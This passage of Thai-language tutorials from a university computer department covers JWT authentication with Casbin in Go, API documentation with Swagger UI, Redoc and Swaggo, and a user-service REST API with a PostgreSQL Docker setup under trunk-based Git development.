JWT เสี่ยงกว่าการใช้ Cookie ถ้าเราเก็บใน localStorage เพราะไม่มี HttpOnly ช่วย เราอาจเก็บ JWT ใน Cookie เพื่อป้องกัน XSS ด้วยการตั้งค่า HttpOnly

Man-in-the-Middle Attack (MITM)

JWT และ Cookie ต้องพึ่ง HTTPS เหมือนกัน แต่ JWT มีข้อดีที่แม้จะถูกขโมยได้แต่แก้ไขไม่ได้

Cross-Site Request Forgery (CSRF)

JWT ป้องกันได้ดีกว่าถ้าไม่ใช้ Cookie เพราะจะไม่ถูกส่งอัตโนมัติ แต่ถ้าใช้ Cookie ก็ต้องพึ่ง SameSite เหมือนกัน

แนวทางการใช้งาน JWT สำหรับการทำ Authentication และ Casbin สำหรับการทำ Authorization (RBAC) ในระบบ Auth Service

• เมื่อผู้ใช้ Login สำเร็จ ระบบจะสร้าง JWT ซึ่งภายใน Token จะมีข้อมูลอย่างเช่น username และเวลาหมดอายุ เมื่อผู้ใช้เรียก Endpoint ที่ต้องการการ Authentication จะต้องมีการส่ง JWT ใน Header (Authorization: Bearer JWT) มายัง Backend
• หลังจากตรวจสอบ Valid และ Expired ของ JWT แล้ว เราจะใช้ Casbin ตรวจสอบสิทธิ์การเข้าถึง เช่น ผู้ใช้สามารถเข้าถึง Resource ใดและทำ Action อะไรได้บ้าง โดยในตัวอย่างนี้จะมีการกำหนดนโยบายใน File policy.csv และ Model ใน File  model.conf

package main

import (
	"fmt"
	"log"
	"net/http"
	"time"

	"github.com/casbin/casbin/v2"
	"github.com/gin-gonic/gin"
	"github.com/golang-jwt/jwt/v4"
)

// Secret key สำหรับเข้ารหัส JWT (ควรเก็บไว้เป็นความลับ)
var jwtSecret = []byte("your-secret-key")

// generateToken สร้าง JWT โดยรับ username เป็น claim
func generateToken(username string) (string, error) {
	claims := jwt.MapClaims{
		"username": username,
		"exp":      time.Now().Add(72 * time.Hour).Unix(), // อายุ 72 ชั่วโมง
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString(jwtSecret)
}

// JWTAuthMiddleware ตรวจสอบ JWT ใน Header ของ Request
func JWTAuthMiddleware() gin.HandlerFunc {
	return func(c *gin.Context) {
		// ดึง Authorization header
		authHeader := c.GetHeader("Authorization")
		if authHeader == "" {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Authorization header required"})
			c.Abort()
			return
		}

		// คาดว่า header อยู่ในรูปแบบ "Bearer <token>"
		var tokenString string
		if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
			tokenString = authHeader[7:]
		} else {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid Authorization header format"})
			c.Abort()
			return
		}

		// ตรวจสอบและแปลง token
		token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
			// ตรวจสอบ Signing Method
			if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
			}
			return jwtSecret, nil
		})
		if err != nil || !token.Valid {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid or expired token"})
			c.Abort()
			return
		}

		// ดึง username จาก claims แล้วส่งต่อ
		if claims, ok := token.Claims.(jwt.MapClaims); ok {
			c.Set("username", claims["username"])
		}
		c.Next()
	}
}

func main() {
	// สร้าง Casbin enforcer โดยใช้ model.conf และ policy.csv
	enforcer, err := casbin.NewEnforcer("model.conf", "policy.csv")
	if err != nil {
		log.Fatalf("Error creating enforcer: %v", err)
	}

	router := gin.Default()

	// Endpoint สำหรับ Login เพื่อออก JWT
	router.POST("/login", func(c *gin.Context) {
		var loginData struct {
			Username string `json:"username"`
			Password string `json:"password"`
		}
		if err := c.ShouldBindJSON(&loginData); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request payload"})
			return
		}

		// ในที่นี้ตรวจสอบข้อมูลแบบง่าย ๆ (ใน Production ควรตรวจสอบกับฐานข้อมูล)
		// ยอมรับผู้ใช้ alice, bob และ nuttachot
		if loginData.Username != "alice" && loginData.Username != "bob" && loginData.Username != "nuttachot" {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
			return
		}

		token, err := generateToken(loginData.Username)
		if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to generate token"})
			return
		}

		c.JSON(http.StatusOK, gin.H{"token": token})
	})

	// Group ของ endpoint ที่ต้องผ่าน JWT authentication
	protected := router.Group("/protected")
	protected.Use(JWTAuthMiddleware())
	{
		// Endpoint สำหรับตรวจสอบการเข้าถึง resource "grade" ด้วย action "read"
		protected.GET("/grade", func(c *gin.Context) {
			username, exists := c.Get("username")
			if !exists {
				c.JSON(http.StatusUnauthorized, gin.H{"error": "User information not found"})
				return
			}

			// ตรวจสอบสิทธิ์สำหรับ resource "grade" ด้วย action "read"
			allowed, err := enforcer.Enforce(username, "grade", "view")
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"error": "Error occurred during authorization"})
				return
			}
			if !allowed {
				c.JSON(http.StatusForbidden, gin.H{"error": "Access denied: You don't have permission to read grade"})
				return
			}

			c.JSON(http.StatusOK, gin.H{"message": fmt.Sprintf("Hello %s, you have access to read grade", username)})
		})
	}

	// รัน Server ที่ port 8080
	router.Run(":8080")
}

ทดลอง Login และใช้งาน JWT ผ่านคำสั่ง Curl

• Login ด้วย Username และ Password ผ่าน API เส้น /login

curl -X POST http://localhost:8080/login \
-H "Content-Type: application/json" \
-d '{"username": "nuttachot", "password": "password"}' 

• นำ JWT ที่ได้เพื่อเข้าถึง API เส้น /protected/grade

curl -X GET http://localhost:8080/protected/grade \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTQwNDEsInVzZXJuYW1lIjoibnV0dGFjaG90In0.gdK2Dgxd7xo8JMvRP4uL64DscYam3tNKrvd7tK4hIMY"

ทั้งนี้เพื่อนำ Code นี้ไปใช้ในระบบจริง เราควรจัดโครงสร้าง Code ใหม่ให้แยกเป็น Package ต่าง ๆ โดยมีการทดสอบที่ครอบคลุม การจัดการ Error ที่เหมาะสม และมาตรการด้านความปลอดภัย นอกจากนี้ควรเพิ่มระบบ Logging สำหรับติดตามการทำงานด้วย

บทความโดย ผศ.ดร.ณัฐโชติ พรหมฤทธิ์ และ อ.ดร.สัจจาภรณ์ ไวจรรยา
ภาควิชาคอมพิวเตอร์
คณะวิทยาศาสตร์
มหาวิทยาลัยศิลปากร

การสร้าง API Document ใน Go สามารถทำได้โดยใช้เครื่องมือที่ช่วยในการสร้างเอกสาร เช่น Swaggo ซึ่งได้รับความนิยมในชุมชนชาว Go เนื่องจากใช้งานง่ายและสามารถสร้างเอกสารแบบ Interactive ได้โดยอัตโนมัติจาก Code ที่เราเขียน

Swaggo จะช่วยแปลงคำสั่งหลัง Comment ใน Go เป็น OpenAPI Specification เพื่อนำมาแสดงผลเป็น API Document บน Browser

OpenAPI Specification (OAS) ซึ่งเดิมมาจากโครงการ Swagger คือ มาตรฐานกลางสำหรับการออกแบบและอธิบาย RESTful API โดยมีการกำหนดรูปแบบ (Format) ในการบรรยาย Endpoint, Method, Parameter, Request Body, Response Body และ Authentication ฯลฯ ทำให้ผู้พัฒนา API และผู้ใช้งาน API สามารถสื่อสารและทำงานร่วมกันได้ง่ายขึ้น

เมื่อทีมพัฒนาใหญ่ขึ้น API Document จึงเป็นตัวกลางในการสื่อสารเพื่อลดปัญหาความเข้าใจไม่ตรงกันระหว่างทีม Frontend, Backend และ QA หรือผู้ใช้งานภายนอกได้

โดย OAS ได้รับการยอมรับในระดับสากลและถูกใช้งานแพร่หลายกับ RESTful API ได้เกือบทุกภาษาและ Framework

OAS ถูกเก็บในรูปแบบ JSON หรือ YAML (เช่น swagger.yaml) โดยมีโครงสร้างสำคัญ เช่น

openapi: ระบุ version ของ OAS เช่น 3.1.0
info: ข้อมูลเกี่ยวกับ API เช่น ชื่อ, เวอร์ชัน, คำอธิบาย
paths: รวม Endpoint ทั้งหมด เช่น GET /users, POST /users
components: ข้อมูลที่ใช้ร่วมกันอย่างเช่น Schemas (Model), Security Definitions (การกำหนด Bearer Token และ BasicAuth ฯลฯ)

openapi: 3.1.0
info:
  title: My API
  version: "1.0.0"
paths:
  /users:
    get:
      summary: Get all users
      operationId: getUsers
      responses:
        '200':
          description: A list of users
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: '#/components/schemas/User'
  /users/{userId}:
    get:
      summary: Get user by ID
      operationId: getUserById
      parameters:
        - name: userId
          in: path
          required: true
          schema:
            type: integer
      responses:
        '200':
          description: A single user
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/User'
components:
  schemas:
    User:
      type: object
      properties:
        id:
          type: integer
        name:
          type: string
        email:
          type: string

โดยเราสามารถใช้เครื่องมืออย่างเช่น Swagger UI หรือ Redoc ในการอ่าน File แล้วแปลงเป็นหน้า Web ของ API Document โดยไม่ต้องเขียนเอกสารเอง

Swagger UI

เราสามารถใช้ Swagger UI แปลง File swagger.yaml ไปเปิดบน Browser ได้ โดยการรัน Swagger UI บน Docker Container ตามขั้นตอนต่อไปนี้

• สร้าง Folder Project เช่น api_docs และ File ต่าง ๆ ตามโครงสร้างต่อไปนี้

api_docs 
├── docker-compose.yml
└── swagger.yaml

• แก้ไข File docker-compose.yml

services:
  swagger-ui:
    image: swaggerapi/swagger-ui
    container_name: swagger-ui
    ports:
      - "8888:8080"
    environment:
      - SWAGGER_JSON=/docs/swagger.yaml
    volumes:
      - ./swagger.yaml:/docs/swagger.yaml

• แก้ไข File swagger.yaml ตามตัวอย่างด้านบน
• Deploy Swagger UI ด้วยคำสั่ง docker-compose up -d

• ตรวจสอบ Container ที่รันด้วยคำสั่ง docker-compose ps

• เปิด Browser ไปที่ http://localhost:8888 จะเห็นหน้า Web ของ Swagger UI ดังตัวอย่างต่อไปนี้

Redoc

Redoc เป็นอีกหนึ่งเครื่องมือยอดนิยมในการแปลง File แบบ OAS ให้เป็นหน้า Web ของ API Document ที่มี Design สวยงามและอ่านง่ายกว่า Swagger UI แต่ไม่มีปุ่ม Try it out แบบ Swagger UI

เราสามารถ Build หน้า Web เป็น File HTML แล้วแจกจ่ายให้ทีม หรือ Deploy บน Server เอง

ขั้นตอนการ Build หน้า Web

• ติดตั้ง @redocly/cli ผ่าน npm

npm install -g @redocly/cli

หมายเหตุ หากยังไม่มี npm ให้ติดตั้งตามระบบปฏิบัติการดังต่อไปนี้

macOS

brew install node

Linux (Ubuntu, Debian ฯลฯ)

sudo apt update
sudo apt install nodejs npm

Windows

- ไปที่ https://nodejs.org
- เลือกรุ่นที่ต้องการติดตั้ง โดยปกติแนะนำให้เลือก LTS (Long-Term Support) เพื่อความเสถียร
- Download File ติดตั้ง (นามสกุล .msi) ที่รองรับสถาปัตยกรรมของ Windows
- ดับเบิลคลิก File .msi ที่ Download มา
- กด Next ไปเรื่อย ๆ และกดยืนยันให้ Setup ติดตั้งจนเสร็จสิ้น

ตรวจสอบ Version ของ npm ด้วยคำสั่ง node -v

• สั่ง Generate เอกสารจาก File OAS ของเรา

redocly build-docs swagger.yaml

Redocly จะสร้าง File redoc-static.html ใน Folder ปัจจุบัน

• เปิด redoc-static.html ใน Browser ก็จะเห็น API Document ตามสไตล์ Redoc หรือจะ Upload redoc-static.html ขึ้น Server ที่ต้องการก็ได้

Swagger UI vs Redoc

การทำ API Document ใน Go

Swaggo เป็น Library สำหรับสร้างเอกสาร Swagger (เช่น swagger.yaml) โดยอัตโนมัติจากการใส่ Comment ใน Code ของ Go

ขั้นตอนการใช้งาน Swaggo

• สร้าง Folder Project เช่น simple_api และ File ต่าง ๆ ตามโครงสร้างต่อไปนี้

simple_api
├── cmd
│   └── main.go
└── internal
    └── handler
        └── user_handler.go

• สร้าง Module ชื่อ users

go mod init users

• ติดตั้ง Swaggo

// Compile Package เป็น Binary และติดตั้งใน $HOME/go/bin
go install github.com/swaggo/swag/cmd/swag@latest

go get -u github.com/swaggo/gin-swagger
go get -u github.com/swaggo/files

macOS

• ตรวจสอบ File swag โดยปกติ Fileswag จะถูกติดตั้งใน Folder $HOME/go/bin

ls -l $HOME/go/bin

• เพิ่ม Folder $HOME/go/bin ลงใน $PATH โดยแก้ไข File ~/.zshrc (File ตั้งค่าของ Zsh Shell) ด้วยคำสั่ง

vi ~/.zshrc

//เพิ่มบรรทัดนี้
export PATH=$PATH:$HOME/go/bin

• บันทึก File แล้ว Reload การตั้งค่า Shell

source ~/.zshrc

Windows

• ตรวจสอบตำแหน่ง $HOME\go\bin โดยค่าเริ่มต้น File Binary จะอยู่ใน C:\Users\<username>\go\bin
• เพิ่ม $HOME\go\bin ลงใน Environment Variables โดย

- เปิด Environment Variables (กดปุ่ม Win + S แล้วพิมพ์ Environment Variables)
- คลิก Edit the system environment variables
- ที่หน้าต่าง System Properties เลือก Environment Variables
- เลือก Path ในส่วน User variables หรือ System variables (ขึ้นอยู่กับว่าต้องการเพิ่มแบบส่วนตัวหรือสำหรับทุกผู้ใช้)
- คลิก Edit และเพิ่ม Path $HOME\go\bin
- กด OK เพื่อบันทึกการตั้งค่า
- เปิด Command Prompt ใหม่ (การตั้งค่า PATH จะมีผลเมื่อเปิด Command Prompt หรือ PowerShell ใหม่เท่านั้น)

ตรวจสอบการติดตั้ง

swag --version

• เพิ่ม Comment เพื่ออธิบาย API ในแต่ละ Endpoint ของ Gin Framework ตามรูปแบบของ Swaggo ดังตัวอย่างต่อไปนี้

package handler

import "github.com/gin-gonic/gin"

type User struct {
	ID   int    `json:"id"`
	Name string `json:"name"`
}

type ErrorResponse struct {
	Message string `json:"message"`
}

// @Summary Get user by ID
// @Description Get details of a user by ID
// @Tags Users
// @Produce  json
// @Param   id   path      int     true  "User ID"
// @Success 200  {object}  User
// @Failure 404  {object}  ErrorResponse
// @Router  /users/{id} [get]
func GetUserByID(c *gin.Context) {
	id := c.Param("id")
	c.JSON(200, gin.H{"id": id, "name": "ณัฐโชติ พรหมฤทธิ์"})
}

• เพิ่ม Swagger UI เป็น Endpoint หนึ่งใน Project เช่น

package main

import (
	_ "users/docs" // ให้ Swag สร้างเอกสารใน Folder docs โดยอัตโนมัติ

	"users/internal/handler"

	"github.com/gin-gonic/gin"
	swaggerFiles "github.com/swaggo/files"
	ginSwagger "github.com/swaggo/gin-swagger"
)

// @title           Simple API Example
// @version         1.0
// @description     This is a simple example of using Gin with Swagger.
// @host            localhost:8080
// @BasePath        /api/v1
func main() {
	r := gin.Default()

	// Swagger endpoint
	r.GET("/docs/*any", ginSwagger.WrapHandler(swaggerFiles.Handler))

	// User API routes
	api := r.Group("/api/v1")
	{
		api.GET("/users/:id", handler.GetUserByID) // ใช้ Handler จากไฟล์ user_handler.go
	}

	// Start server
	r.Run(":8080")
}

คำสั่งหลัง Comment ของ Swaggo

- @title สำหรับระบุชื่อ Project หรือ API ที่จะแสดงในหน้าเอกสารของ Swagger

- @version ระบุ Version ของ API หรือ Project

- @description สำหรับอธิบายภาพรวม หรือจุดประสงค์ของ API

- @host ระบุ hostname หรือโดเมนของ API ที่ Swagger จะเรียกใช้งาน ในที่นี้เราใช้ localhost:8080 ซึ่งหมายถึงรันที่เครื่องเราเองที่ port 8080

- @BasePath ระบุ Path หลัก (Base Path) ของ API ในตัวอย่างคือ "/api/v1" ซึ่งการเรียก API ทั้งหมดจะถูก prefix ด้วย /api/v1 (เช่น /api/v1/users)

- @Summary สำหรับการอธิบายสั้น ๆ ถึงจุดประสงค์ของ API Endpoints เช่น Get user by ID (เป็นข้อความย่อ ๆ ที่จะแสดงในเอกสาร Swagger)

- @Description รายละเอียดขยายความของ API Endpoint เช่น Get details of a user by ID (เป็นรายละเอียดเพิ่มเติม แสดงในหน้ารายละเอียดแต่ละ Endpoint)

- @Tags ใช้สำหรับจัดกลุ่มให้ API Endpoint โดย Swagger จะจัดกลุ่ม API ที่มี Tag เดียวกันเข้าด้วยกัน

- @Produce ระบุชนิดของข้อมูล (Content-Type) ที่ API ส่งกลับมา เช่น json, xml หรืออื่น ๆ

- @Param สำหรับระบุชื่อ Parameter ที่รับเข้ามา (name) ลักษณะการใช้งาน (path, query หรือ body ฯลฯ) ชนิดข้อมูล (int หรือ string ฯลฯ) บังคับหรือไม่ (true/false) และคำอธิบาย (“User ID”)

- @Success ระบุโครงสร้างข้อมูลตอบกลับในกรณีที่ Request สำเร็จ ซึ่ง {object} User หมายถึงส่งค่าออกมาเป็น JSON Object โดยโครงสร้างของ object จะดูจาก struct User ที่มีการประกาศไว้

- @Failure ระบุโครงสร้างข้อมูลตอบกลับในกรณีที่เกิดข้อผิดพลาด โดย {object} ErrorResponse หมายถึงจะส่งค่าออกมาเป็น JSON Object โดยโครงสร้างใช้ struct ErrorResponse

- @Router ระบุ Endpoint URL และ HTTP Method ที่ใช้

• จัดระเบียบ Dependency ด้วยคำสั่ง go mod tidy
• Generate เอกสาร โดยรันคำสั่ง swag init ใน root ของ Project

swag init -g cmd/main.go

• Compile Code

go build cmd/main.go

• รัน Program และทดสอบ Swagger UI โดยเปิด Browser แล้วไปที่ http://localhost:8080/docs/index.html เพื่อดู API Document ที่สร้างขึ้น

• ทดลองยิง API เส้น /users/{id} ของเรา โดยกด Try it out ใส่ User ID แล้วกด Execute

สร้าง API Document ด้วย Redoc

ใช้ Redoc เพื่อสร้างเอกสารแบบสวยงาม

• ไปที่ Folder docs แล้วใช้คำสั่ง redocly build-docs เพื่อสร้าง API Document

redocly build-docs swagger.yaml

• เปิด redoc-static.html ใน Browser จะเห็น API Document ของเราตามสไตล์ Redoc

บทความโดย ผศ.ดร.ณัฐโชติ พรหมฤทธิ์ และ อ.ดร.สัจจาภรณ์ ไวจรรยา
ภาควิชาคอมพิวเตอร์
คณะวิทยาศาสตร์
มหาวิทยาลัยศิลปากร

บทความนี้ผู้อ่านจะได้พัฒนา REST API สำหรับ User Service ด้วย Gin Framework ซึ่งเป็น Web Framework ที่เป็นที่นิยมใน Golang โดยมี API Endpoint ดังต่อไปนี้

1. GET /api/v1/users
2. GET /api/v1/users/{user_id}
3. POST /api/v1/users
4. PUT /api/v1/users/{user_id}
5. DELETE /api/v1/users/{user_id}
6. GET /health

เราจะใช้ HTTP Verb (Method) หลัก ๆ ได้แก่ GET, POST, PUT และ DELETE เพื่อกําหนดการดําเนินการที่เราสามารถทำได้กับ Resource ของ User Service

โดย GET จะถูกใช้เพื่อดึง Resource และ POST จะถูกใช้สำหรับสร้าง Resource ใหม่ ส่วน PUT ถูกใช้สำหรับการ Update แบบแทนที่ และ DELETE สำหรับลบ Resource ที่มีอยู่

แต่ละ Endpoint มีรายละเอียดดังต่อไปนี้

GET /api/v1/users
- สำหรับดึงข้อมูลผู้ใช้ทั้งหมดจากฐานข้อมูล เรียงตาม id จากน้อยไปมาก
- ไม่ต้องส่ง Parameter
- ต้องมี Bearer Token ใน Header
- ส่งคืนข้อมูลเป็น Array ของผู้ใช้

# ดึงข้อมูลผู้ใช้ทั้งหมดจากฐานข้อมูล
# เรียงตาม id จากน้อยไปมาก
# query = "SELECT * FROM users ORDER BY id"

# ตัวอย่างผลลัพธ์
[
    {
        "id": 1,
        "name": "Nuttachot",
        "email": "nuttachot@email.com"
    },
    {
        "id": 2,
        "name": "Poohkan",
        "email": "poohkan@email.com"
    }
]

GET /api/v1/users/{user_id}
- สำหรับดึงข้อมูลผู้ใช้ตาม id ที่ระบุ
- ต้องระบุ user_id ที่ต้องการใน Path
- ต้องมี Bearer Token ใน Header
- ถ้าไม่พบผู้ใช้จะ Return 404

# ดึงข้อมูลผู้ใช้ตาม id ที่ระบุ
# query = "SELECT * FROM users WHERE id = %s"

# ตัวอย่างผลลัพธ์
{
    "id": 1,
    "name": "Nuttachot",
    "email": "nuttachot@email.com"
}

POST /api/v1/users
- สำหรับสร้างผู้ใช้ใหม่จากข้อมูลที่ส่งมา
- ต้องส่งข้อมูล name และ email มาในรูปแบบ JSON
- ต้องมี Bearer Token ใน Header
- email ต้องไม่ซ้ำกับที่มีอยู่แล้ว
- ส่งคืนข้อมูลผู้ใช้ที่สร้างใหม่พร้อม ID

# สร้างผู้ใช้ใหม่จากข้อมูลที่ส่งมา

# ตัวอย่างข้อมูลที่ต้องส่ง
{
    "name": "Nuttachot",
    "email": "nuttachot@email.com"
}

# ตัวอย่างผลลัพธ์
{
    "id": 1,  # ID จะถูกสร้างอัตโนมัติ
    "name": "Nuttachot",
    "email": "nuttachot@email.com"
}

PUT /api/v1/users/{user_id}
- สำหรับอัพเดทข้อมูลผู้ใช้ทั้งหมดตาม id ที่ระบุ
- ต้องระบุ user_id ที่ต้องการแก้ไขใน Path
- ต้องส่งข้อมูลใหม่ทั้ง name และ email
- ต้องมี Bearer Token ใน header
- ถ้าไม่พบผู้ใช้จะ Return 404
- email ใหม่ต้องไม่ซ้ำกับคนอื่น
- ส่งคืนข้อมูลผู้ใช้ที่อัพเดทแล้ว

# อัพเดทข้อมูลผู้ใช้ตาม id ที่ระบุ

# ตัวอย่างข้อมูลที่ต้องส่ง
{
    "name": "Nuttachot Promrit",
    "email": "nuttachot.new@email.com"
}

# ตัวอย่างผลลัพธ์
{
    "id": 1,
    "name": "Nuttachot Promrit",
    "email": "nuttachot.new@email.com"
}

DELETE /api/v1/users/{user_id}
- สำหรับลบผู้ใช้ตาม id ที่ระบุ
- ต้องระบุ user_id ที่ต้องการลบใน Path
- ต้องมี Bearer Token ใน Header
- ถ้าไม่พบผู้ใช้จะ Return 404
- ส่งคืนข้อความยืนยันการลบสำเร็จ

# ลบผู้ใช้ตาม id ที่ระบุ

# ตัวอย่างผลลัพธ์
{
    "message": "User deleted successfully"
}

GET /health
- สำหรับตรวจสอบการเชื่อมต่อกับฐานข้อมูล
- ไม่ต้องใช้ Bearer Token

# ตรวจสอบการเชื่อมต่อกับฐานข้อมูล

# ตัวอย่างผลลัพธ์ (กรณีปกติ)
{
    "status": "healthy",
    "database": "connected"
}

# ตัวอย่างผลลัพธ์ (กรณีมีปัญหา)
{
    "detail": "Database connection failed: error message"
}

Project นี้จะมีการทดลอง Deploy API และ Database Server บน Docker Container โดยจะมีการสร้าง Git Repository 2 Repo บน Github ได้แก่

1. userservice Repo สำหรับเก็บ Codebase ของ REST API
2. userdatabase Repo สำหรับเก็บ Codebase ของการ Config PostgreSQL

นอกจากนี้ยังมีรูปแบบในการจัดการ Branch ใน Git ที่มีลักษณะการพัฒนา Code แบบรวมศูนย์บน Branch หลัก (main Branch) ที่เรียกว่า Trunk-Based Development ซึ่งหลาย ๆ บริษัท เช่น Google, Facebook, Netflix และ Amazon นำมาปรับใช้เพื่อให้สามารถพัฒนาและ Deploy Codeใหม่ ๆ ได้อย่างต่อเนื่องและรวดเร็ว

โดยนักพัฒนาทุกคนในทีมจะทำงานและ Merge Code เข้ามายัง Trunk โดยตรงอย่างสม่ำเสมอ ซึ่งต่างจาก Git flow ทั่วไปที่อาจมี Branch หลายระดับ เช่น main, develop หรือ feature Branch

ดังนั้นบนความนี้ไม่ใช่มีเนื้อหาเฉพาะการพัฒนา REST API เท่านั้น แต่ยังแสดงตัวอย่าง Workflow ของการพัฒนา Software แบบสมัยใหม่ที่เน้นการทำงานร่วมกันเป็นทีมด้วยแนวทางแบบ Trunk-Based Development ซึ่งผู้พัฒนาจะได้ทดสอบการ Deploy Software บน Docker Container ก่อนนำขึ้น Production ต่อไป

สร้าง SSH Key

• ก่อนอื่นให้สร้าง SSH Key สำหรับการ Push และ Pull Code กับ Git Repo ที่ได้เชื่อมต่อ โดยไม่ต้องป้อน Username และ Password ทุกครั้ง

สร้าง ssh-keygen
ssh-keygen -t ed25519 -C "your_email@example.com"

แสดง public key บน Linux
cat ~/.ssh/id_ed25519.pub

• ใช้คำสั่ง cat ~/.ssh/id_ed25519.pub เพื่อแสดง Public Key ดังเช่นตัวอย่างต่อไปนี้แล้ว Copy ไว้

ssh-ed25519 ABCAC3NzaC1lZFI1NTE3AAAAIMmPOcXyJu+c/2Ork3pmgBU9FBl1iwxBr97Bh1MxI6sB nuttachot@hotmail.com

• นำ Public Key ไปเพิ่มบน Github Repo โดยไปที่รูป Profile เลือก Your organizations เลือกเมนู SSH and GPG keys แล้วกด New SSH key

• ตั้งชื่อ userdatabase และนำ Public key ที่ Copy ไปวาง แล้วกด Add SSH key

• ยืนยันตัวตน

Config PostgreSQL และ Deploy บน Docker Container

เราจะใช้แนวทางในการพัฒนา Software แบบ Trunk-Based Development (TBD) ซึ่งมีหลักการสำคัญ คือ

• การ Commit และ Merge บ่อย ๆ นักพัฒนาจะ Commit และ Merge การเปลี่ยนแปลงของตัวเองเข้ากับ Trunk (Branch หลัก) บ่อยครั้ง อาจจะเป็นรายวันหรือบ่อยกว่านั้น การรวม Code บ่อย ๆ ช่วยให้ทีมทำงานร่วมกันได้อย่างคล่องตัวและลดโอกาสการเกิด Merge Conflicts ขนาดใหญ่
• ขนาดงานที่เล็กและแตก Branch สั้น ๆ ใน TBD งานแต่ละชิ้นควรจะเล็กพอที่จะทำเสร็จได้ภายในระยะสั้น ๆ นักพัฒนาอาจแตก Branch ย่อยขึ้นมาเพื่อทำงานในบางงาน แต่ Branch ย่อยนั้นควรจะใช้เวลาไม่นานก่อนจะ Merge กลับไปยัง Trunk โดยไม่มี Branch ระยะยาว

เราจะสร้าง userdatabase Repo สำหรับเก็บ Codebase ของการ Config PostgreSQL ที่มีโครงสร้าง Project ดังต่อไปนี้

.
├── README.md
├── backup
│   ├── Dockerfile
│   └── backup.sh
├── backups
├── docker
│   ├── Dockerfile
│   └── init.sql
├── .env
├── .gitignore
└── docker-compose.yml

• สร้าง Folder userdatabase เข้าไปใน Folder นี้แล้วเริ่มต้นใช้งาน Git ด้วยคำสั่งต่อไปนี้

git init

• ไปที่ Github.com สร้าง Git Repo ชื่อ userdatabase เลือกชนิด Repo แบบ Private แล้วกด Create repository

• เลือก SSH แล้วกด Copy URL

• เชื่อมต่อกับ Git Repo ด้วยคำสั่ง git remote add origin ตามด้วย URL ที่ได้ Copy มา เช่น

git remote add origin git@github.com:promritn/userdatabase.git

• สร้าง File README.md ใน Folder userdatabase

  touch README.md

• พิมพ์หัวข้อ PostgreSQL config แบบหัวเรื่องระดับ 1 ใน File README.md ด้วย Tag ของ Markdown แล้ว Save

# PostgreSQL config

• Commit เข้า Git ด้วยคำสั่งต่อไปนี้

git add .

git commit -m 'first commit'

• Push Code ที่ Commit ขึ้น Github Server

git push origin main

• ไปที่ Browser แล้ว Refresh หน้าต่าง userdatabase Repo จะเห็นหัวข้อ PostgreSQL config แบบตัวใหญ่

เราจะ Config PostgreSQL บน Branch ย่อย ซึ่งตามหลักการของ Trunk-Based Developmen แล้วนักพัฒนาควรจะสร้าง Branch ย่อยเฉพาะงานของตัวเอง (Short-Lived Branch) จาก Trunk ซึ่งงานควรมีขนาดเล็กและสามารถทำให้เสร็จได้ภายในเวลาอันสั้น (ไม่เกิน 1 วัน) เพื่อให้ง่ายต่อการ Merge กลับไปยัง Trunk อย่างรวดเร็ว

• สร้าง Short-Lived Branch ชื่อ feature/config-postgresql

git checkout -b feature/config-postgresql

• สร้าง File และ Folder ของ Project ตามโครงสร้างดังต่อไปนี้

.
├── README.md
├── backup
│   ├── Dockerfile
│   └── backup.sh
├── backups
├── docker
│   ├── Dockerfile
│   └── init.sql
├── .env
├── .gitignore
└── docker-compose.yml

• แก้ไข File docker-compose.yml สำหรับการ Deploy PosgreSQL, PGAdmin และ Backup Container

# docker-compose.yml

services:
  db:
    build: ./docker
    container_name: user_postgres
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    volumes:
      - postgres_data:/var/lib/postgresql/data
      - ./backups:/backups  # volume สำหรับเก็บ File backup
    ports:
      - "${POSTGRES_PORT}:5432"
    networks:
      - database_network
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER} -d ${POSTGRES_DB}"]
      interval: 5s
      timeout: 5s
      retries: 5
    restart: unless-stopped

  pgadmin:
    image: dpage/pgadmin4
    container_name: user_pgadmin
    environment:
      PGADMIN_DEFAULT_EMAIL: ${PGADMIN_DEFAULT_EMAIL}
      PGADMIN_DEFAULT_PASSWORD: ${PGADMIN_DEFAULT_PASSWORD}
    volumes:
      - pgadmin_data:/var/lib/pgadmin
    ports:
      - "${PGADMIN_PORT}:80"
    networks:
      - database_network
    restart: unless-stopped
    depends_on:
      - db

  backup:
    build: ./backup
    container_name: postgres_backup
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
      POSTGRES_HOST: db
      BACKUP_RETENTION_DAYS: 7  # เก็บ backup ไว้ 7 วัน
      BACKUP_SCHEDULE: "0 0 * * *"  # ทำ backup ทุกวันเวลาเที่ยงคืน
    volumes:
      - ./backups:/backups
    networks:
      - database_network
    depends_on:
      - db

networks:
  database_network:
    name: database_network
    driver: bridge

volumes:
  postgres_data:
  pgadmin_data:

• แก้ไข File .env

# .env
POSTGRES_DB=postgres
POSTGRES_USER=postgres
POSTGRES_PASSWORD=postgres123
POSTGRES_PORT=5432
PGADMIN_DEFAULT_EMAIL=admin@admin.com
PGADMIN_DEFAULT_PASSWORD=admin123
PGADMIN_PORT=5050

• แก้ไข File .gitignore

# .gitignore
.env

# Ignore backup files
/backups/
*.backup
*.backup.gz
*.dump
*.sql
*.gz

• แก้ไข File Dockerfile ใน Folder docker

# Dockerfile
FROM postgres:17-alpine

# Copy initialization scripts
COPY init.sql /docker-entrypoint-initdb.d/

# Set locale (optional)
ENV LANG en_US.utf8

